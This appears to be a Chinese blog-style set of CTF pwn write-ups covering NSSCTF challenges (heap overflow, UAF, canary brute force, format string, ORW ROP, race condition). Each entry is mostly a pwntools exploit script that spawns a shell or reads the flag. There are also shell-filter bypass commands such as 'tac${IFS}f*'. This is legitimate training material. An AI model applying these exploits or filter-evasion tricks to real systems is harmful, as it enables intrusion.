singout

一道nc连接的题目,主要是禁用了一些获取flag的指令。借鉴了一些wp,有以下方法:

tac${IFS}f*
tac$IFS$9f*
nl${IFS}f*
nl$IFS$9f*
tail ./*
tail$IFS$9./f*

感觉挺奇特的

[NISACTF 2022]ezheap

这里申请了两个堆块s与command,存在gets函数会形成堆溢出,system函数会执行command堆块的内容,那么这里的想法就是造成堆溢出从s堆块溢出到command块并写入/bin/sh

这是gets前申请的s堆块与command堆块里面的内容,可以看出我们需要输入28字节大小的内容,再输入command堆块的size,就可以覆盖command堆块里面的内容。

这是gets后的两堆块里面的内容,可以看出确实将command堆块里面的内容覆盖为了/bin/sh字符串,此时再执行system(command)就能获取shell。

from pwn import*
#io=remote('node5.anna.nssctf.cn',26661)
io=process('./NISACTF_ezheap')

gdb.attach(io)

payload=b'a'*28+p32(0x21)+b'/bin/sh'
io.sendline(payload)

io.interactive()

FSCTF nc

ban了cat、flag、sh、$0,也关闭了输出流,但我们可以通过其他方式获得flag,比如用tac fl*命令并重定向到输入或错误流即可。

[GDOUCTF 2023]真男人下120层

这道题是一道随机数的题目,其实挺简单的,这里我选择的是自己生成相应的随机数

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main()
{
srand(time(0));
srand(rand()%3-1522127470);
int x=0;
for(int i=0;i<120;i++)
{
x=rand()%4+1;
printf("%d\n",x);
}
return 0;
}
from pwn import*
io=remote('node4.anna.nssctf.cn',28922)

recv_data=os.popen('./zhen').read() #执行当前目录下的程序并读取该程序的输出结果
print(recv_data)

list=recv_data.strip('\n') #移除字符串开头和结尾的换行符
list=recv_data.split('\n') #按照换行符将字符串分割成多个部分

print(list)

for i in range(120):
payload=list[i]
io.sendline(str(payload))

io.interactive()

[NISACTF 2022]UAF

一道堆题目,做的第一道UAF,比较简单,但是因为刚接触堆,所以还是一步一步的认真写一下解题过程。

该程序实现了创建、编辑、删除与展示的功能。

在del函数中,进行了free了相应的内存块后,并没有将对应的指针设置为NULL,因此这里存在UAF漏洞。

在show函数中,有这么一段代码,在这里一步一步分析

(*((void (__cdecl **)(char *))page + 1))(page);
  1. void (__cdecl *)(char *)
    

    这是一个函数指针的声明,其中__cdecl是一个调用约定,这指向的是一个返回类型为void、参数为char*的函数。

    2. ```
    (void (__cdecl **)(char *))page
    这是将page的指针类型强制转换为指向函数指针的指针
  2. (void (__cdecl **)(char *))page+1
    

    对转换后的指针+1,移动到下一个函数指针的位置,相当于访问的是函数指针数组的第二个元素

    4. ```
    (*((void (__cdecl **)(char *))page + 1))(page);
    解引用得到实际的函数指针,并调用该函数传入page作为参数

其实简单来说就是调用一个带参数的函数。

存在后门函数,那么可以利用上面那个调用该函数并获取shell。我们就有一个想法,将NICO函数写入到page[1],将/bin/sh写入page[0],但这里存在一个问题,就是edit函数不能修改page[0],而想要能够调用(*((void (__cdecl **)(char *))page + 1))(page),只能输入0。

因此打算先创建0的chunk,然后free掉,再创建1的chunk,由于在free掉后并没有将指向0chunk的指针设为NULL,所以下标0和下标1同时指向一个chunk,再输入sh+NICO函数的地址,最后再show(0)即可获权。

这是create下标为0的chunk且free之前的,前面是我们输入的数据,后面就是show(0)时,调用的函数,可以看出只能输入4个字节,只能输入sh不能输入/bin/sh。

这是free+create+edit后的,此时再show(0),即可获得shell

from pwn import*
context(arch='i386',os='linux')
elf=ELF('./NISACTF_UAF')
io=process('./NISACTF_UAF')

def create():
io.sendlineafter(b':',b'1')

def edit(index,context):
io.sendlineafter(b':',b'2')
io.sendlineafter(b'Input page',str(index))
io.sendlineafter(b'Input your strings',context)

def delete(index):
io.sendlineafter(b':',b'3')
io.sendlineafter(b'Input page',str(index))

def show(index):
io.sendlineafter(b':',b'4')
io.sendlineafter(b'Input page',str(index))


gdb.attach(io)

backdoor=elf.sym['system']

create()
delete(0)
create()

payload=b'sh\x00\x00'+p32(backdoor)

edit(1,payload)
show(0)

io.interactive()

[2021 鹤城杯]easyecho

这道题保护全开,能泄漏地址,再打stack smash

from pwn import*
io=process('./easyecho')
#io=remote('node7.anna.nssctf.cn',27077)
gdb.attach(io)
io.sendlineafter(b'Name: ',b'a'*0x10)

io.recvuntil(b'a'*0x10)
leak_addr=u64(io.recv(6).ljust(8,b'\x00'))
print("leak_addr=",hex(leak_addr))
base_addr=leak_addr-0xcf0
success(hex(base_addr))

flag=base_addr+0x0202040

io.sendlineafter(b'',b'backdoor')

payload=cyclic(0x168)+p64(flag)
io.sendline(payload)

io.interactive()

[BJDCTF 2020]YDSneedGirlfriend

存在后门函数,在创建堆块的时候,先创建0x10大小的堆块,再创建自定义大小的堆块,在free时没有将指针NULL,存在UAF。

from pwn import*
context(arch='amd64',os='linux')
io=remote('node4.anna.nssctf.cn',28532)
#io=process('./girlfriend')

backdoor=0x0400B9C

def add(size,context):
io.sendlineafter(b':',b'1')
io.sendlineafter(b'Her name size is :',str(size))
io.sendlineafter(b'Her name is :',context)

def delete(index):
io.sendlineafter(b':',b'2')
io.sendlineafter(b'Index :',str(index))

def show(index):
io.sendlineafter(b':',b'3')
io.sendlineafter(b'Index :',str(index))

#gdb.attach(io)

add(0x20,b'aaa')
add(0x20,b'bbb')

delete(0)
delete(1)

add(0x10,p64(backdoor))
show(0)

io.interactive()

[NISACTF 2022]shop_pwn

条件竞争,在sale里面存在usleep函数,线程存在延迟,可以在短时间内连续sale,从而可以获得更多的money去买flag。

from pwn import*
context(arch='amd64',os='linux')
io=remote('node5.anna.nssctf.cn',20950)

def sale(index):
io.sendline(b'3')
io.sendline(str(index))

def buy(index):
io.sendline(b'2')
io.sendline(str(index))

sale(0)
sale(0)

buy(1)

io.interactive()

[HNCTF 2022 WEEK4]ezheap

一道简单的堆题目

from pwn import*
elf=ELF('./ezheap')
libc=ELF('./libc-2.23.so')
context(arch='amd64',os='linux')
io=remote('node5.anna.nssctf.cn',29158)
#io=process('./ezheap')

def add(index,size,name,context):
io.sendlineafter(b'Choice: ',b'1')
io.sendlineafter(b'idx:',str(index))
io.sendlineafter(b'Size:',str(size))
io.sendlineafter(b'Name: ',name)
io.sendlineafter(b'Content:',context)

def delete(index):
io.sendlineafter(b'Choice: ',b'2')
io.sendlineafter(b'idx:',str(index))

def show(index):
io.sendlineafter(b'Choice: ',b'3')
io.sendlineafter(b'idx:',str(index))

def edit(index,size,context):
io.sendlineafter(b'Choice: ',b'4')
io.sendlineafter(b'idx:',str(index))
io.sendlineafter(b'Size:',str(size))
io.send(context)

#gdb.attach(io)
add(0,0x10,b'a',b'a')
add(1,0x10,b'b',b'b')

payload=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x30)
edit(0,0x31,payload)
show(1)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']

payload=p64(0)*3+p64(0x31)+b'/bin/sh\x00'+p64(0)*2+p64(1)+p64(system)
edit(0,0x48,payload)
show(1)

io.interactive()

[CISCN 2023 初赛]funcanary

一道爆破题目

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./funcanary')
p=remote('node5.anna.nssctf.cn',20359)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
p.send(b'a'*0x68 + canary + p8(i))
a = p.recvuntil("welcome\n")
if b"fun" in a:
canary += p8(i)
print(b"canary: " + canary)
break
catflag = 0x0231
print(canary)
while(1):
for i in range(16):
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
p.send(payload)
#pause()
a = p.recvuntil("welcome\n",timeout=1)
print(a)
if b"welcome" in a:
catflag += 0x1000
continue
if b"NSSCTF" in a:
print(a)
break
p.interactive()

[HNCTF 2022 WEEK4]ez_uaf

from pwn import*
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node5.anna.nssctf.cn',24346)
elf = ELF('./ez_uaf')
libc = ELF('libc-2.27.so')

def debug():
gdb.attach(p)
pause()
def add(size, name, content):
p.sendlineafter(b'Choice: \n', '1')
p.sendlineafter(b'Size:\n', str(size))
p.sendafter(b'Name: \n', name)
p.sendafter(b'Content:\n', content)
def free(index):
p.sendlineafter(b'Choice: \n', '2')
p.sendlineafter(b'idx:\n', str(index))
def show(index):
p.sendlineafter(b'Choice: \n', '3')
p.sendlineafter(b'idx:\n', str(index))
def edit(index, content):
p.sendlineafter(b'Choice: \n', '4')
p.sendlineafter(b'idx:\n', str(index))
p.send(content)
# leak libcbase
add(0x410, b'1', b'a') #index 0
add(0x20, b'1', b'a') #index 1
add(0x10, b'1', b'a') #index 2
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

# malloc_hook -> one_gadget
one_gadget = libcbase + 0x10a2fc
malloc_hook = libcbase + libc.sym['__malloc_hook']
free(1)
edit(1, p64(malloc_hook))
add(0x10, b'1', b'a') #index 3
add(0x20, b'1', b'a') #index 4
edit(4, p64(one_gadget))

# pwn
p.sendlineafter(b'Choice: \n', '1')
p.sendlineafter(b'Size:\n', b'10')
p.interactive()

[watevrCTF 2019]Voting Machine 2

from pwn import*
context(arch='i386',os='linux')
io=remote('node5.anna.nssctf.cn',27609)
#io=process('./voting_machine')
elf=ELF('./voting_machine')

exit_got=elf.got['exit']
main=0x084207FB
flag=0x08420736

payload=b'aa'+fmtstr_payload(8,{exit_got:flag},numbwritten=2) #以输出的字符数
io.sendline(payload)

io.interactive()

[HNCTF 2022 WEEK2]ret2text

爆破地址

from pwn import *
context.os = "linux"
context.arch = "amd64"
context.log_level='debug'
local = False
elf = ELF("./ret2text")
payload=b'a'*0x108+p16(0x11E5)

while True:
if local:
io = process("./ret2text")
else:
ip = "node5.anna.nssctf.cn"
port = 24066
io = remote(ip, port)

try:
io.sendafter(b"It's a easy challenge\n", payload)
sleep(1) # 方便中断
io.recv(timeout=0.5)
#io.sendline(b'ls')
io.interactive()
except:
sleep(1) # 方便中断
io.close()

[HGAME 2023 week1]orw

打orw,这里就借用了下其他师傅的wp了(确实吊)

from pwn import *
from LibcSearcher import *

io=remote('node5.anna.nssctf.cn',24273)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')

def debug():
gdb.attach(io)
pause()

def sh():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))

def PGM(data1, data2, data3):
return elf.plt[str(data1)], elf.got[str(data2)], elf.sym[str(data3)], elf.bss()

def ls(base, data):
return base + libc.sym[str(data)]

def shell():
return asm(shellcraft.sh())

def orw(data1, bss, p):
return asm(shellcraft.open(str(data1)) + shellcraft.read(3, bss, p) + shellcraft.write(1, bss, p))

#find_gadget
def fgg(data1, data2):
return base + rop.find_gadget([str(data1), str(data2)])[0]

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
uu32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
uu64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
l32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)

#ret2dl
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))

linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)

linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)

linkmap += p64(0)

linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

rop = ROP(libc)

ret = 0x40101a
rdi = 0x401393
leave = 0x4012be
pl, pg, main, bss = PGM('puts','puts','main')

pl1 = b'a' * 0x108 + p64(rdi) + p64(pg) + p64(pl) + p64(main)
sa('task.',pl1)
base = l64() - libc.sym['puts']
print(hex(base))

pop_rsi = fgg('pop rsi', 'ret')
pop_rdx = fgg('pop rdx', 'ret')
pop_rsp = fgg('pop rsp', 'ret')
o = ls(base,'open')
r = ls(base,'read')
w = ls(base,'write')
f = bss + 0x100
fake = 0x4012CF

pl2 = b'a' * 0x100 + p64(f) + p64(fake)
sa('task.',pl2)

box = b"./flag\x00\x00" + p64(rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(o)
box += p64(rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x200) + p64(pop_rdx) + p64(0x50) + p64(r)
box += p64(rdi) + p64(1) + p64(pop_rsi) + p64(bss + 0x200) + p64(pop_rdx) + p64(0x50) + p64(w)
box = box.ljust(0x100,b'\x00')
box += p64(bss) + p64(leave)
s(box)

io.interactive()

[NSSRound#9 Basic]old fashion

打随机数

from pwn import*
from ctypes import*
import time

elf=ELF('./zzzzz')
libc=cdll.LoadLibrary('./libc-2.31.so')
io=remote('node5.anna.nssctf.cn',27261)

libc.srand(int(time.time()))
payload=libc.rand()%100+1
io.sendline(str(payload))

io.interactive()

[HNCTF 2022 WEEK2]pivot

__libc_start_main_ret

[HNCTF 2022 WEEK2]fmtstr_level2

fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')

[SWPUCTF 2024 秋季新生赛]不是哥们ret2text还阴啊?

gdb.attach(io,'b *0xdeadbeef')

[FSCTF 2023]What am I thinking?

一道不错的题目

from pwn import*
import base64
io=remote('node4.anna.nssctf.cn',28366)

io.sendline(b'\n')
io.recvuntil(b'My brain:\n')
data_recv=io.recvuntil(b'\nTell me',drop=True)
data=base64.b64decode(data_recv)
with open("dedata","wb") as f:
f.write(data)
os.system("chmod 777 dedata")
p=process('./dedata')
p.recvuntil(b'THE NUMBER IS ')
number=p.recvuntil(b'\nCan',drop=True)
io.sendline(number)

io.interactive()

[LitCTF 2023]ezlogin

syscall+绕过strcpy

from pwn import *
#io = process('./pwn4')
io = remote("node5.anna.nssctf.cn",21654)
elf = ELF('./pwn4')
context(arch='amd64', os='linux', log_level='debug')

rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0

def encsend(data:bytes):
encdata = data.replace(b'\x00',b'\x01')
idx = len(data) - 1
while 1:
if encdata[idx] == 1:
io.sendafter(b'password:', b'A'*0x108 + encdata[:idx-len(data)]+b'\x00')
if idx == 1:
return
idx = idx - 1

Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
encsend(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')

Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
encsend(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()